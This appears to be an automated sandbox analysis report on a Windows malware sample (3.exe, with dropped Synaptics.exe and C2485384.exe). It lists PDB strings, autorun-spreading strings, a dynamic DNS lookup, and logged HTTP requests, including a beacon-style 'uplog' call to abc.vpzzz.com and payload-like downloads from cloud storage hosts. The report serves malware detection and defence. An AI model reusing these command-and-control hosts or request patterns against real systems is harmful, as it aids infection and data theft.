Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49904 version: TLS 1.2

Source:	Binary string: G:\projects\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb source: C2485384.exe, 00000011.00000003.1495290658.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1521842965.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1501253722.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1515144360.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1499383423.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1467525326.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1520237047.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1467827540.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1502809257.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1462708344.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3795901712.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1499917413.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1467916272.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1487918139.0000000005385000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1500917467.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1560326458.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1500225099.0000000005390000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: F:\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb<F source: C2485384.exe, 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000003.1636154090.00000000053ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \bin\xkSHWL.pdb source: C2485384.exe, 00000011.00000002.3867066014.000000000FD40000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3873881064.000000000FEB6000.00000004.00000020.00020000.00000000.sdmp, EA56ljmih.dll.17.dr
Source:	Binary string: ePluginCtrl.pdbDS source: C2485384.exe, 00000011.00000003.1636154090.00000000053ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \DPK.pdb source: C2485384.exe, 00000011.00000002.3924068843.0000000010870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DPK\bin\dlq.pdb source: C2485384.exe, 00000011.00000003.1522191289.0000000005385000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1521842965.0000000005385000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1520126780.0000000005362000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3948363402.0000000010DC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \GamePluginCtrl\Release\gamePluginCtrl.pdb source: C2485384.exe, 00000011.00000002.3838969086.000000000F6A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: G:\projects\funny\GamePluginCtrl\Release\gamePluginCtrl.pdbDS source: C2485384.exe, 00000011.00000003.1495290658.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1515144360.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1467525326.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1520237047.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1462708344.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3795901712.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1487918139.0000000005385000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1500917467.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1560326458.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1500225099.0000000005390000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: F:\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb source: C2485384.exe, C2485384.exe, 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000003.1636154090.00000000053ED000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdb @ source: C2485384.exe, 00000011.00000003.1499587491.0000000005362000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1499750623.0000000005386000.00000004.00000020.00020000.00000000.sdmp, E9BEcVYUT.dll.17.dr, 4858pmjcZ.dll.17.dr
Source:	Binary string: \bin\xkSHWL.pdbY source: C2485384.exe, 00000011.00000002.3867066014.000000000FD40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \bin\xkSHWL.pdb9 source: C2485384.exe, 00000011.00000002.3873881064.000000000FEB6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ePluginCtrl.pdb source: C2485384.exe, 00000011.00000003.1636154090.00000000053ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DPK\bin\DPK.pdb source: 2CE020xu.dll.17.dr, 5C55qqtun.dll.17.dr
Source:	Binary string: \GamePluginCtrl\Release\gamePluginCtrl.pdb<F source: C2485384.exe, 00000011.00000002.3838969086.000000000F6A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \bin\xkSHWL.pdbtc source: EA56ljmih.dll.17.dr
Source:	Binary string: DPK\bin\JDClient.pdb source: Synaptics.exe, 0000000C.00000003.1523443387.000000000CBB7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1527533445.000000000C9D0000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdb source: C2485384.exe, 00000011.00000003.1499587491.0000000005362000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3946962889.0000000010D7C000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1499750623.0000000005386000.00000004.00000020.00020000.00000000.sdmp, E9BEcVYUT.dll.17.dr, 4858pmjcZ.dll.17.dr

Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: 3.exe	Binary or memory string: [autorun]
Source: 3.exe	Binary or memory string: [autorun]
Source: 3.exe	Binary or memory string: autorun.inf
Source: 380BjggdZ.exe.17.dr	Binary or memory string: [autorun]
Source: 380BjggdZ.exe.17.dr	Binary or memory string: [autorun]
Source: 380BjggdZ.exe.17.dr	Binary or memory string: autorun.inf
Source: ~$cache1.12.dr	Binary or memory string: [autorun]
Source: ~$cache1.12.dr	Binary or memory string: [autorun]
Source: ~$cache1.12.dr	Binary or memory string: autorun.inf

Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB7BA3C FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	17_2_0BB7BA3C
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB7622C GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	17_2_0BB7622C
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_6254C474 __EH_prolog3_GS,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,	17_2_6254C474

Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 1MB later: 66MB

Networking

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: unknown

Network traffic detected: DNS query count 36

Source: Joe Sandbox View	IP Address: 103.235.47.188 103.235.47.188
Source: Joe Sandbox View	IP Address: 119.28.109.132 119.28.109.132

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /kss_api/io.php?a=uplog&apiver=905&c=0&gdata=1&softcode=1000001&&lgid=0&f=&x=781315036953 HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSiE 6.0; Windows NT 5.1;)Accept-Language: en-chAccept-Encoding: gzip, deflateHost: abc.vpzzz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: kl.webzf.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cctv.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jb51.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-05/17_57 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: guangzhoucs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hupu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.zhihu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.autohome.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/18771 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/22745 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/11133 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.aliyun.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sinacloud.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-05/17_58 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: qingdaocs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
